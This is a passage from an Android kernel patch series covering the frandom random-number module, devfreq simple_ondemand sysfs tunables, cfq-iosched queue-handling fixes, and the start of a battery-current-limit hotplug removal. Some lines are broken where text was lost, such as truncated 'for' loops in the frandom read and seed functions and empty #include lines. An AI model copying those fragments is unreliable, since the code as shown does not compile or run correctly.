late as possible, hoping that the kernel's main + RNG is already restored in the boot sequence (not critical, but + better. + */ + + if (!erandom_seeded) { + erandom_seeded = 1; + init_rand_state(state, EXTERNAL_SEED); + printk(KERN_INFO "frandom: Seeded global generator now (used by erandom)\n"); + } + + i = state->i; + j = state->j; + S = state->S; + + for (k=0; ki = i; + state->j = j; + + up(&state->sem); +} + +static void init_rand_state(struct frandom_state *state, int seedflag) +{ + unsigned int i, j, k; + u8 *S; + u8 *seed = state->buf; + + if (seedflag == INTERNAL_SEED) + erandom_get_random_bytes(seed, 256); + else + get_random_bytes(seed, 256); + + S = state->S; + for (i=0; i<256; i++) + *S++=i; + + j=0; + S = state->S; + + for (i=0; i<256; i++) { + j = (j + S[i] + *seed++) & 0xff; + swap_byte(&S[i], &S[j]); + } + + /* It's considered good practice to discard the first 256 bytes + generated. So we do it: + */ + + i=0; j=0; + for (k=0; k<256; k++) { + i = (i + 1) & 0xff; + j = (j + S[i]) & 0xff; + swap_byte(&S[i], &S[j]); + } + + state->i = i; /* Save state */ + state->j = j; +} + +static int frandom_open(struct inode *inode, struct file *filp) +{ + + struct frandom_state *state; + + int num = iminor(inode); + + /* This should never happen, now when the minors are regsitered + * explicitly + */ + if ((num != frandom_minor) && (num != erandom_minor)) return -ENODEV; + + state = kmalloc(sizeof(struct frandom_state), GFP_KERNEL); + if (!state) + return -ENOMEM; + + state->buf = kmalloc(frandom_bufsize, GFP_KERNEL); + if (!state->buf) { + kfree(state); + return -ENOMEM; + } + + sema_init(&state->sem, 1); /* Init semaphore as a mutex */ + + if (num == frandom_minor) + init_rand_state(state, EXTERNAL_SEED); + else + init_rand_state(state, INTERNAL_SEED); + + filp->private_data = state; + + return 0; /* Success */ +} + +static int frandom_release(struct inode *inode, struct file *filp) +{ + + struct frandom_state *state = filp->private_data; + + kfree(state->buf); + kfree(state); + + return 0; +} + +static ssize_t frandom_read(struct file *filp, char *buf, size_t count, + loff_t *f_pos) +{ + struct frandom_state *state = filp->private_data; + ssize_t ret; + int dobytes, k; + char *localbuf; + + unsigned int i; + unsigned int j; + u8 *S; + + if (down_interruptible(&state->sem)) + return -ERESTARTSYS; + + if ((frandom_chunklimit > 0) && (count > frandom_chunklimit)) + count = frandom_chunklimit; + + ret = count; /* It's either everything or an error... */ + + i = state->i; + j = state->j; + S = state->S; + + while (count) { + if (count > frandom_bufsize) + dobytes = frandom_bufsize; + else + dobytes = count; + + localbuf = state->buf; + + for (k=0; kbuf, dobytes)) { + ret = -EFAULT; + goto out; + } + + buf += dobytes; + count -= dobytes; + } + + out: + state->i = i; + state->j = j; + + up(&state->sem); + return ret; +} + +static struct file_operations frandom_fops = { + read: frandom_read, + open: frandom_open, + release: frandom_release, +}; + +static void frandom_cleanup_module(void) { + unregister_chrdev_region(MKDEV(frandom_major, erandom_minor), 1); + cdev_del(&erandom_cdev); + device_destroy(frandom_class, MKDEV(frandom_major, erandom_minor)); + + unregister_chrdev_region(MKDEV(frandom_major, frandom_minor), 1); + cdev_del(&frandom_cdev); + device_destroy(frandom_class, MKDEV(frandom_major, frandom_minor)); + class_destroy(frandom_class); + + kfree(erandom_state->buf); + kfree(erandom_state); +} + + +static int frandom_init_module(void) +{ + int result; + + /* The buffer size MUST be at least 256 bytes, because we assume that + minimal length in init_rand_state(). + */ + if (frandom_bufsize < 256) { + printk(KERN_ERR "frandom: Refused to load because frandom_bufsize=%d < 256\n",frandom_bufsize); + return -EINVAL; + } + if ((frandom_chunklimit != 0) && (frandom_chunklimit < 256)) { + printk(KERN_ERR "frandom: Refused to load because frandom_chunklimit=%d < 256 and != 0\n",frandom_chunklimit); + return -EINVAL; + } + + erandom_state = kmalloc(sizeof(struct frandom_state), GFP_KERNEL); + if (!erandom_state) + return -ENOMEM; + + /* This specific buffer is only used for seeding, so we need + 256 bytes exactly */ + erandom_state->buf = kmalloc(256, GFP_KERNEL); + if (!erandom_state->buf) { + kfree(erandom_state); + return -ENOMEM; + } + + sema_init(&erandom_state->sem, 1); /* Init semaphore as a mutex */ + + erandom_seeded = 0; + + frandom_class = class_create(THIS_MODULE, "fastrng"); + if (IS_ERR(frandom_class)) { + result = PTR_ERR(frandom_class); + printk(KERN_WARNING "frandom: Failed to register class fastrng\n"); + goto error0; + } + + /* + * Register your major, and accept a dynamic number. This is the + * first thing to do, in order to avoid releasing other module's + * fops in frandom_cleanup_module() + */ + + cdev_init(&frandom_cdev, &frandom_fops); + frandom_cdev.owner = THIS_MODULE; + result = cdev_add(&frandom_cdev, MKDEV(frandom_major, frandom_minor), 1); + if (result) { + printk(KERN_WARNING "frandom: Failed to add cdev for /dev/frandom\n"); + goto error1; + } + + result = register_chrdev_region(MKDEV(frandom_major, frandom_minor), 1, "/dev/frandom"); + if (result < 0) { + printk(KERN_WARNING "frandom: can't get major/minor %d/%d\n", frandom_major, frandom_minor); + goto error2; + } + + frandom_device = device_create(frandom_class, NULL, MKDEV(frandom_major, frandom_minor), NULL, "frandom"); + + if (IS_ERR(frandom_device)) { + printk(KERN_WARNING "frandom: Failed to create frandom device\n"); + goto error3; + } + + cdev_init(&erandom_cdev, &frandom_fops); + erandom_cdev.owner = THIS_MODULE; + result = cdev_add(&erandom_cdev, MKDEV(frandom_major, erandom_minor), 1); + if (result) { + printk(KERN_WARNING "frandom: Failed to add cdev for /dev/erandom\n"); + goto error4; + } + + result = register_chrdev_region(MKDEV(frandom_major, erandom_minor), 1, "/dev/erandom"); + if (result < 0) { + printk(KERN_WARNING "frandom: can't get major/minor %d/%d\n", frandom_major, erandom_minor); + goto error5; + } + + erandom_device = device_create(frandom_class, NULL, MKDEV(frandom_major, erandom_minor), NULL, "erandom"); + + if (IS_ERR(erandom_device)) { + printk(KERN_WARNING "frandom: Failed to create erandom device\n"); + goto error6; + } + return 0; /* succeed */ + + error6: + unregister_chrdev_region(MKDEV(frandom_major, erandom_minor), 1); + error5: + cdev_del(&erandom_cdev); + error4: + device_destroy(frandom_class, MKDEV(frandom_major, frandom_minor)); + error3: + unregister_chrdev_region(MKDEV(frandom_major, frandom_minor), 1); + error2: + cdev_del(&frandom_cdev); + error1: + class_destroy(frandom_class); + error0: + kfree(erandom_state->buf); + kfree(erandom_state); + + return result; +} + +module_init(frandom_init_module); +module_exit(frandom_cleanup_module); + +EXPORT_SYMBOL(erandom_get_random_bytes); + +MODULE_AUTHOR("Eli Billauer "); +MODULE_DESCRIPTION("'char_random_frandom' - A fast random generator for " +"general usage"); +MODULE_LICENSE("GPL"); + From 3cf24db3332e098262dffd5ec18cc90fa66f709b Mon Sep 17 00:00:00 2001 From: myfluxi Date: Fri, 20 Dec 2013 01:29:16 +0100 Subject: [PATCH 252/365] PM: devfreq: Allow userspace configuration of simple_ondemand /sys/class/devfreq/fdb00000.qcom,kgsl-3d0/simple_ondemand Change-Id: I43445fd8cc22a110c47d473c81d4b74cfe89e5e4 Signed-off-by: franciscofranco --- drivers/devfreq/devfreq.c | 20 +++++ drivers/devfreq/governor.h | 4 + drivers/devfreq/governor_simpleondemand.c | 105 +++++++++++++++++----- 3 files changed, 107 insertions(+), 22 deletions(-) diff --git a/drivers/devfreq/devfreq.c b/drivers/devfreq/devfreq.c index 73efab6df6133..3d804124f6c9b 100644 --- a/drivers/devfreq/devfreq.c +++ b/drivers/devfreq/devfreq.c @@ -718,6 +718,26 @@ int devfreq_remove_governor(struct devfreq_governor *governor) } EXPORT_SYMBOL(devfreq_remove_governor); +int devfreq_policy_add_files(struct devfreq *devfreq, + struct attribute_group attr_group) +{ + int ret; + + ret = sysfs_create_group(&devfreq->dev.kobj, &attr_group); + if (ret) + kobject_put(&devfreq->dev.kobj); + + return ret; +} +EXPORT_SYMBOL(devfreq_policy_add_files); + +void devfreq_policy_remove_files(struct devfreq *devfreq, + struct attribute_group attr_group) +{ + sysfs_remove_group(&devfreq->dev.kobj, &attr_group); +} +EXPORT_SYMBOL(devfreq_policy_remove_files); + static ssize_t show_governor(struct device *dev, struct device_attribute *attr, char *buf) { diff --git a/drivers/devfreq/governor.h b/drivers/devfreq/governor.h index ebde695e99c77..93ab2c51abe29 100644 --- a/drivers/devfreq/governor.h +++ b/drivers/devfreq/governor.h @@ -39,4 +39,8 @@ extern int devfreq_add_governor(struct devfreq_governor *governor); extern int devfreq_remove_governor(struct devfreq_governor *governor); extern int devfreq_get_freq_level(struct devfreq *devfreq, unsigned long freq); +extern int devfreq_policy_add_files(struct devfreq *devfreq, + struct attribute_group attr_group); +extern void devfreq_policy_remove_files(struct devfreq *devfreq, + struct attribute_group attr_group); #endif /* _GOVERNOR_H */ diff --git a/drivers/devfreq/governor_simpleondemand.c b/drivers/devfreq/governor_simpleondemand.c index 6ae9f86523b2b..79a565063152a 100644 --- a/drivers/devfreq/governor_simpleondemand.c +++ b/drivers/devfreq/governor_simpleondemand.c @@ -15,9 +15,8 @@ #include #include "governor.h" -/* Default constants for DevFreq-Simple-Ondemand (DFSO) */ -#define DFSO_UPTHRESHOLD (90) -#define DFSO_DOWNDIFFERENCTIAL (5) +#define DEVFREQ_SIMPLE_ONDEMAND "simple_ondemand" + static int devfreq_simple_ondemand_func(struct devfreq *df, unsigned long *freq, u32 *flag) @@ -25,28 +24,19 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, struct devfreq_dev_status stat; int err; unsigned long long a, b; - unsigned int dfso_upthreshold = DFSO_UPTHRESHOLD; - unsigned int dfso_downdifferential = DFSO_DOWNDIFFERENCTIAL; struct devfreq_simple_ondemand_data *data = df->data; unsigned long max = (df->max_freq) ? df->max_freq : UINT_MAX; unsigned long min = (df->min_freq) ? df->min_freq : 0; + if (!data) + return -EINVAL; + stat.private_data = NULL; err = df->profile->get_dev_status(df->dev.parent, &stat); if (err) return err; - if (data) { - if (data->upthreshold) - dfso_upthreshold = data->upthreshold; - if (data->downdifferential) - dfso_downdifferential = data->downdifferential; - } - if (dfso_upthreshold > 100 || - dfso_upthreshold < dfso_downdifferential) - return -EINVAL; - /* Prevent overflow */ if (stat.busy_time >= (1 << 24) || stat.total_time >= (1 << 24)) { stat.busy_time >>= 7; @@ -55,10 +45,10 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, if (data && data->simple_scaling) { if (stat.busy_time * 100 > - stat.total_time * dfso_upthreshold) + stat.total_time * data->upthreshold) *freq = max; else if (stat.busy_time * 100 < - stat.total_time * dfso_downdifferential) + stat.total_time * data->downdifferential) *freq = min; else *freq = df->previous_freq; @@ -73,7 +63,7 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, /* Set MAX if it's busy enough */ if (stat.busy_time * 100 > - stat.total_time * dfso_upthreshold) { + stat.total_time * data->upthreshold) { *freq = max; return 0; } @@ -86,7 +76,7 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, /* Keep the current frequency */ if (stat.busy_time * 100 > - stat.total_time * (dfso_upthreshold - dfso_downdifferential)) { + stat.total_time * (data->upthreshold - data->downdifferential)) { *freq = stat.current_frequency; return 0; } @@ -96,7 +86,7 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, a *= stat.current_frequency; b = div_u64(a, stat.total_time); b *= 100; - b = div_u64(b, (dfso_upthreshold - dfso_downdifferential / 2)); + b = div_u64(b, (data->upthreshold - data->downdifferential / 2)); *freq = (unsigned long) b; if (df->min_freq && *freq < df->min_freq) @@ -107,15 +97,86 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, return 0; } +static ssize_t upthreshold_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct devfreq *devfreq = to_devfreq(dev); + struct devfreq_simple_ondemand_data *data = devfreq->data; + + return sprintf(buf, "%d\n", data->upthreshold); +} + +static ssize_t upthreshold_store(struct device *dev, + struct device_attribute *attr, const char *buf, + size_t count) +{ + unsigned int val; + struct devfreq *devfreq = to_devfreq(dev); + struct devfreq_simple_ondemand_data *data = devfreq->data; + + sscanf(buf, "%d", &val); + if (val > 100 || val < data->downdifferential) + return -EINVAL; + + data->upthreshold = val; + + return count; +} + +static ssize_t downdifferential_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + struct devfreq *devfreq = to_devfreq(dev); + struct devfreq_simple_ondemand_data *data = devfreq->data; + + return sprintf(buf, "%d\n", data->downdifferential); +} + +static ssize_t downdifferential_store(struct device *dev, + struct device_attribute *attr, + const char *buf, size_t count) +{ + unsigned int val; + struct devfreq *devfreq = to_devfreq(dev); + struct devfreq_simple_ondemand_data *data = devfreq->data; + + sscanf(buf, "%d", &val); + if (val > data->upthreshold) + return -EINVAL; + + data->downdifferential = val; + + return count; +} + +static DEVICE_ATTR(upthreshold, 0644, upthreshold_show, upthreshold_store); +static DEVICE_ATTR(downdifferential, 0644, downdifferential_show, + downdifferential_store); + +static struct attribute *attrs[] = { + &dev_attr_upthreshold.attr, + &dev_attr_downdifferential.attr, + NULL, +}; + +static struct attribute_group attr_group = { + .attrs = attrs, + .name = DEVFREQ_SIMPLE_ONDEMAND, +}; + static int devfreq_simple_ondemand_handler(struct devfreq *devfreq, unsigned int event, void *data) { + int ret = 0; + switch (event) { case DEVFREQ_GOV_START: devfreq_monitor_start(devfreq); + ret = devfreq_policy_add_files(devfreq, attr_group); break; case DEVFREQ_GOV_STOP: + devfreq_policy_remove_files(devfreq, attr_group); devfreq_monitor_stop(devfreq); break; @@ -135,11 +196,11 @@ static int devfreq_simple_ondemand_handler(struct devfreq *devfreq, break; } - return 0; + return ret; } static struct devfreq_governor devfreq_simple_ondemand = { - .name = "simple_ondemand", + .name = DEVFREQ_SIMPLE_ONDEMAND, .get_target_freq = devfreq_simple_ondemand_func, .event_handler = devfreq_simple_ondemand_handler, }; From 76193fa83681b1cd9e560e8e721f8855ea27200b Mon Sep 17 00:00:00 2001 From: myfluxi Date: Sun, 4 Jan 2015 12:07:32 +0100 Subject: [PATCH 253/365] PM / devfreq: Remove unused simple_ondemand governor data Change-Id: I6d5035d431a455a8511ebeafd53905ee4cccebd9 Signed-off-by: franciscofranco --- drivers/devfreq/governor_simpleondemand.c | 91 +++++++++++++++-------- 1 file changed, 61 insertions(+), 30 deletions(-) diff --git a/drivers/devfreq/governor_simpleondemand.c b/drivers/devfreq/governor_simpleondemand.c index 79a565063152a..aa34d372cfee0 100644 --- a/drivers/devfreq/governor_simpleondemand.c +++ b/drivers/devfreq/governor_simpleondemand.c @@ -16,6 +16,12 @@ #include "governor.h" #define DEVFREQ_SIMPLE_ONDEMAND "simple_ondemand" +#define DFSO_UPTHRESHOLD (80) +#define DFSO_DOWNDIFFERENTIAL (20) + +unsigned int dfso_upthreshold; +unsigned int dfso_downdifferential; +unsigned int dfso_simple_scaling; static int devfreq_simple_ondemand_func(struct devfreq *df, unsigned long *freq, @@ -24,13 +30,9 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, struct devfreq_dev_status stat; int err; unsigned long long a, b; - struct devfreq_simple_ondemand_data *data = df->data; unsigned long max = (df->max_freq) ? df->max_freq : UINT_MAX; unsigned long min = (df->min_freq) ? df->min_freq : 0; - if (!data) - return -EINVAL; - stat.private_data = NULL; err = df->profile->get_dev_status(df->dev.parent, &stat); @@ -43,12 +45,12 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, stat.total_time >>= 7; } - if (data && data->simple_scaling) { + if (dfso_simple_scaling) { if (stat.busy_time * 100 > - stat.total_time * data->upthreshold) + stat.total_time * dfso_upthreshold) *freq = max; else if (stat.busy_time * 100 < - stat.total_time * data->downdifferential) + stat.total_time * dfso_downdifferential) *freq = min; else *freq = df->previous_freq; @@ -63,7 +65,7 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, /* Set MAX if it's busy enough */ if (stat.busy_time * 100 > - stat.total_time * data->upthreshold) { + stat.total_time * dfso_upthreshold) { *freq = max; return 0; } @@ -76,7 +78,7 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, /* Keep the current frequency */ if (stat.busy_time * 100 > - stat.total_time * (data->upthreshold - data->downdifferential)) { + stat.total_time * (dfso_upthreshold - dfso_downdifferential)) { *freq = stat.current_frequency; return 0; } @@ -86,7 +88,7 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, a *= stat.current_frequency; b = div_u64(a, stat.total_time); b *= 100; - b = div_u64(b, (data->upthreshold - data->downdifferential / 2)); + b = div_u64(b, (dfso_upthreshold - dfso_downdifferential / 2)); *freq = (unsigned long) b; if (df->min_freq && *freq < df->min_freq) @@ -100,10 +102,7 @@ static int devfreq_simple_ondemand_func(struct devfreq *df, static ssize_t upthreshold_show(struct device *dev, struct device_attribute *attr, char *buf) { - struct devfreq *devfreq = to_devfreq(dev); - struct devfreq_simple_ondemand_data *data = devfreq->data; - - return sprintf(buf, "%d\n", data->upthreshold); + return sprintf(buf, "%d\n", dfso_upthreshold); } static ssize_t upthreshold_store(struct device *dev, @@ -111,14 +110,12 @@ static ssize_t upthreshold_store(struct device *dev, size_t count) { unsigned int val; - struct devfreq *devfreq = to_devfreq(dev); - struct devfreq_simple_ondemand_data *data = devfreq->data; sscanf(buf, "%d", &val); - if (val > 100 || val < data->downdifferential) + if (val > 100 || val < dfso_downdifferential) return -EINVAL; - data->upthreshold = val; + dfso_upthreshold = val; return count; } @@ -126,10 +123,7 @@ static ssize_t upthreshold_store(struct device *dev, static ssize_t downdifferential_show(struct device *dev, struct device_attribute *attr, char *buf) { - struct devfreq *devfreq = to_devfreq(dev); - struct devfreq_simple_ondemand_data *data = devfreq->data; - - return sprintf(buf, "%d\n", data->downdifferential); + return sprintf(buf, "%d\n", dfso_downdifferential); } static ssize_t downdifferential_store(struct device *dev, @@ -137,14 +131,33 @@ static ssize_t downdifferential_store(struct device *dev, const char *buf, size_t count) { unsigned int val; - struct devfreq *devfreq = to_devfreq(dev); - struct devfreq_simple_ondemand_data *data = devfreq->data; sscanf(buf, "%d", &val); - if (val > data->upthreshold) + if (val > dfso_upthreshold) + return -EINVAL; + + dfso_downdifferential = val; + + return count; +} + +static ssize_t simple_scaling_show(struct device *dev, + struct device_attribute *attr, char *buf) +{ + return sprintf(buf, "%d\n", dfso_simple_scaling); +} + +static ssize_t simple_scaling_store(struct device *dev, + struct device_attribute *attr, + const char *buf, size_t count) +{ + unsigned int val; + + sscanf(buf, "%d", &val); + if (val < 0 || val > 1) return -EINVAL; - data->downdifferential = val; + dfso_simple_scaling = val; return count; } @@ -152,10 +165,13 @@ static ssize_t downdifferential_store(struct device *dev, static DEVICE_ATTR(upthreshold, 0644, upthreshold_show, upthreshold_store); static DEVICE_ATTR(downdifferential, 0644, downdifferential_show, downdifferential_store); +static DEVICE_ATTR(simple_scaling, 0644, simple_scaling_show, + simple_scaling_store); static struct attribute *attrs[] = { &dev_attr_upthreshold.attr, &dev_attr_downdifferential.attr, + &dev_attr_simple_scaling.attr, NULL, }; @@ -164,6 +180,23 @@ static struct attribute_group attr_group = { .name = DEVFREQ_SIMPLE_ONDEMAND, }; +static int devfreq_simple_ondemand_start(struct devfreq *devfreq) +{ + dfso_upthreshold = DFSO_UPTHRESHOLD; + dfso_downdifferential = DFSO_DOWNDIFFERENTIAL; + devfreq_monitor_start(devfreq); + + return devfreq_policy_add_files(devfreq, attr_group); +} + +static int devfreq_simple_ondemand_stop(struct devfreq *devfreq) +{ + devfreq_policy_remove_files(devfreq, attr_group); + devfreq_monitor_stop(devfreq); + + return 0; +} + static int devfreq_simple_ondemand_handler(struct devfreq *devfreq, unsigned int event, void *data) { @@ -171,13 +204,11 @@ static int devfreq_simple_ondemand_handler(struct devfreq *devfreq, switch (event) { case DEVFREQ_GOV_START: - devfreq_monitor_start(devfreq); - ret = devfreq_policy_add_files(devfreq, attr_group); + ret = devfreq_simple_ondemand_start(devfreq); break; case DEVFREQ_GOV_STOP: - devfreq_policy_remove_files(devfreq, attr_group); - devfreq_monitor_stop(devfreq); + devfreq_simple_ondemand_stop(devfreq); break; case DEVFREQ_GOV_INTERVAL: From d3c92f874288084a749f970c49633f97497fc64e Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Tue, 18 Aug 2015 14:54:57 -0700 Subject: [PATCH 254/365] cfq-iosched: simplify control flow in cfq_get_queue() cfq_get_queue()'s control flow looks like the following. async_cfqq = NULL; cfqq = NULL; if (!is_sync) { ... async_cfqq = ...; cfqq = *async_cfqq; } if (!cfqq) cfqq = ...; if (!is_sync && !(*async_cfqq)) ...; The only thing the local variable init, the second if, and the async_cfqq test in the third if achieves is to skip cfqq creation and installation if *async_cfqq was already non-NULL. This is needlessly complicated with different tests examining the same condition. Simplify it to the following. if (!is_sync) { ... async_cfqq = ...; cfqq = *async_cfqq; if (cfqq) goto out; } cfqq = ...; if (!is_sync) ...; out: Signed-off-by: Tejun Heo Acked-by: Jeff Moyer Cc: Vivek Goyal Cc: Arianna Avanzini Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi --- block/cfq-iosched.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index 2be94231f603b..f9f4769a61cf3 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -3651,8 +3651,8 @@ cfq_get_queue(struct cfq_data *cfqd, bool is_sync, struct cfq_io_cq *cic, { int ioprio_class = IOPRIO_PRIO_CLASS(cic->ioprio); int ioprio = IOPRIO_PRIO_DATA(cic->ioprio); - struct cfq_queue **async_cfqq = NULL; - struct cfq_queue *cfqq = NULL; + struct cfq_queue **async_cfqq; + struct cfq_queue *cfqq; if (!is_sync) { if (!ioprio_valid(cic->ioprio)) { @@ -3662,19 +3662,20 @@ cfq_get_queue(struct cfq_data *cfqd, bool is_sync, struct cfq_io_cq *cic, } async_cfqq = cfq_async_queue_prio(cfqd, ioprio_class, ioprio); cfqq = *async_cfqq; + if (cfqq) + goto out; } - if (!cfqq) - cfqq = cfq_find_alloc_queue(cfqd, is_sync, cic, bio, gfp_mask); + cfqq = cfq_find_alloc_queue(cfqd, is_sync, cic, bio, gfp_mask); /* * pin the queue now that it's allocated, scheduler exit will prune it */ - if (!is_sync && !(*async_cfqq)) { + if (!is_sync) { cfqq->ref++; *async_cfqq = cfqq; } - +out: cfqq->ref++; return cfqq; } From 20304b86df8f6b0ced8e456e928c19ef4ee9e5a5 Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Tue, 18 Aug 2015 14:54:58 -0700 Subject: [PATCH 255/365] cfq-iosched: fix async oom queue handling Async cfqq's (cfq_queue's) are shared across cfq_data. When cfq_get_queue() obtains a new queue from cfq_find_alloc_queue(), it stashes the pointer in cfq_data and reuses it from then on; however, the function doesn't consider that cfq_find_alloc_queue() may return the oom_cfqq under memory pressure and installs the returned queue unconditionally. If the oom_cfqq is installed as an async cfqq, cfq_set_request() will continue calling cfq_get_queue() hoping to replace it with a proper queue; however, cfq_get_queue() will keep returning the cached queue for the slot - the oom_cfqq. Fix it by skipping caching if the queue is the oom one. Signed-off-by: Tejun Heo Acked-by: Jeff Moyer Cc: Vivek Goyal Cc: Arianna Avanzini Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi --- block/cfq-iosched.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index f9f4769a61cf3..bb7d65f125bae 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -3671,7 +3671,7 @@ cfq_get_queue(struct cfq_data *cfqd, bool is_sync, struct cfq_io_cq *cic, /* * pin the queue now that it's allocated, scheduler exit will prune it */ - if (!is_sync) { + if (!is_sync && cfqq != &cfqd->oom_cfqq) { cfqq->ref++; *async_cfqq = cfqq; } From a66c6a55223a87c50d990a711c8eb9c0c7ebacaf Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Tue, 18 Aug 2015 14:54:59 -0700 Subject: [PATCH 256/365] cfq-iosched: fix oom cfq_queue ref leak in cfq_set_request() If the cfq_queue cached in cfq_io_cq is the oom one, cfq_set_request() replaces it by invoking cfq_get_queue() again without putting the oom queue leaking the reference it was holding. While oom queues are not released through reference counting, they're still reference counted and this can theoretically lead to the reference count overflowing and incorrectly invoke the usual release path on it. Fix it by making cfq_set_request() put the ref it was holding. Signed-off-by: Tejun Heo Acked-by: Jeff Moyer Cc: Vivek Goyal Cc: Arianna Avanzini Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi --- block/cfq-iosched.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index bb7d65f125bae..aa38e25ea509c 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -4219,6 +4219,8 @@ cfq_set_request(struct request_queue *q, struct request *rq, struct bio *bio, new_queue: cfqq = cic_to_cfqq(cic, is_sync); if (!cfqq || cfqq == &cfqd->oom_cfqq) { + if (cfqq) + cfq_put_queue(cfqq); cfqq = cfq_get_queue(cfqd, is_sync, cic, bio, gfp_mask); cic_set_cfqq(cic, cfqq, is_sync); } else { From 1c0e82b0fb91fe7f110e6baaa50f7c7432a023e0 Mon Sep 17 00:00:00 2001 From: Tejun Heo Date: Tue, 18 Aug 2015 14:55:00 -0700 Subject: [PATCH 257/365] cfq-iosched: minor cleanups * Some were accessing cic->cfqq[] directly. Always use cic_to_cfqq() and cic_set_cfqq(). * check_ioprio_changed() doesn't need to verify cfq_get_queue()'s return for NULL. It's always non-NULL. Simplify accordingly. This patch doesn't cause any functional changes. Signed-off-by: Tejun Heo Acked-by: Jeff Moyer Cc: Vivek Goyal Cc: Arianna Avanzini Signed-off-by: Jens Axboe Signed-off-by: Pranav Vashi --- block/cfq-iosched.c | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/block/cfq-iosched.c b/block/cfq-iosched.c index aa38e25ea509c..2573e1607e2cd 100644 --- a/block/cfq-iosched.c +++ b/block/cfq-iosched.c @@ -3426,14 +3426,14 @@ static void cfq_exit_icq(struct io_cq *icq) struct cfq_io_cq *cic = icq_to_cic(icq); struct cfq_data *cfqd = cic_to_cfqd(cic); - if (cic->cfqq[BLK_RW_ASYNC]) { - cfq_exit_cfqq(cfqd, cic->cfqq[BLK_RW_ASYNC]); - cic->cfqq[BLK_RW_ASYNC] = NULL; + if (cic_to_cfqq(cic, false)) { + cfq_exit_cfqq(cfqd, cic_to_cfqq(cic, false)); + cic_set_cfqq(cic, NULL, false); } - if (cic->cfqq[BLK_RW_SYNC]) { - cfq_exit_cfqq(cfqd, cic->cfqq[BLK_RW_SYNC]); - cic->cfqq[BLK_RW_SYNC] = NULL; + if (cic_to_cfqq(cic, true)) { + cfq_exit_cfqq(cfqd, cic_to_cfqq(cic, true)); + cic_set_cfqq(cic, NULL, true); } } @@ -3492,18 +3492,14 @@ static void check_ioprio_changed(struct cfq_io_cq *cic, struct bio *bio) if (unlikely(!cfqd) || likely(cic->ioprio == ioprio)) return; - cfqq = cic->cfqq[BLK_RW_ASYNC]; + cfqq = cic_to_cfqq(cic, false); if (cfqq) { - struct cfq_queue *new_cfqq; - new_cfqq = cfq_get_queue(cfqd, BLK_RW_ASYNC, cic, bio, - GFP_ATOMIC); - if (new_cfqq) { - cic->cfqq[BLK_RW_ASYNC] = new_cfqq; - cfq_put_queue(cfqq); - } + cfq_put_queue(cfqq); + cfqq = cfq_get_queue(cfqd, BLK_RW_ASYNC, cic, bio, GFP_ATOMIC); + cic_set_cfqq(cic, cfqq, false); } - cfqq = cic->cfqq[BLK_RW_SYNC]; + cfqq = cic_to_cfqq(cic, true); if (cfqq) cfq_mark_cfqq_prio_changed(cfqq); From 37bd6b25171c1456d5f9b806fd15037a7dbd8d2a Mon Sep 17 00:00:00 2001 From: Pranav Vashi Date: Mon, 18 Jan 2016 00:40:58 +0530 Subject: [PATCH 258/365] power: battery_current_limit: Remove hotplug control * Google, this is shit. Signed-off-by: Pranav Vashi --- drivers/power/battery_current_limit.c | 126 +------------------------- 1 file changed, 1 insertion(+), 125 deletions(-) diff --git a/drivers/power/battery_current_limit.c b/drivers/power/battery_current_limit.c index 13d6eb5403b5e..23245ed742267 100644 --- a/drivers/power/battery_current_limit.c +++ b/drivers/power/battery_current_limit.c @@ -187,86 +187,6 @@ static struct bcl_context *gbcl; static enum bcl_threshold_state bcl_vph_state = BCL_THRESHOLD_DISABLED, bcl_ibat_state = BCL_THRESHOLD_DISABLED; static DEFINE_MUTEX(bcl_notify_mutex); -static uint32_t bcl_hotplug_request, bcl_hotplug_mask; -static struct work_struct bcl_hotplug_work; -static DEFINE_MUTEX(bcl_hotplug_mutex); -static bool bcl_hotplug_enabled; - -#ifdef CONFIG_SMP -static void __ref bcl_handle_hotplug(struct work_struct *work) -{ - int ret = 0, _cpu = 0; - uint32_t prev_hotplug_request = 0; - - mutex_lock(&bcl_hotplug_mutex); - prev_hotplug_request = bcl_hotplug_request; - - if (bcl_vph_state == BCL_LOW_THRESHOLD - && bcl_ibat_state == BCL_HIGH_THRESHOLD) - bcl_hotplug_request = bcl_hotplug_mask; - else - bcl_hotplug_request = 0; - - if (bcl_hotplug_request == prev_hotplug_request) - goto handle_hotplug_exit; - - for_each_possible_cpu(_cpu) { - if (!(bcl_hotplug_mask & BIT(_cpu))) - continue; - - if (bcl_hotplug_request & BIT(_cpu)) { - if (!cpu_online(_cpu)) - continue; - ret = cpu_down(_cpu); - if (ret) - pr_err("Error %d offlining core %d\n", - ret, _cpu); - else - pr_info("Set Offline CPU:%d\n", _cpu); - } else { - if (cpu_online(_cpu)) - continue; - ret = cpu_up(_cpu); - if (ret) - pr_err("Error %d onlining core %d\n", - ret, _cpu); - else - pr_info("Allow Online CPU:%d\n", _cpu); - } - } - -handle_hotplug_exit: - mutex_unlock(&bcl_hotplug_mutex); - return; -} -#else -static void __ref bcl_handle_hotplug(struct work_struct *work) -{ - return; -} -#endif - -static int 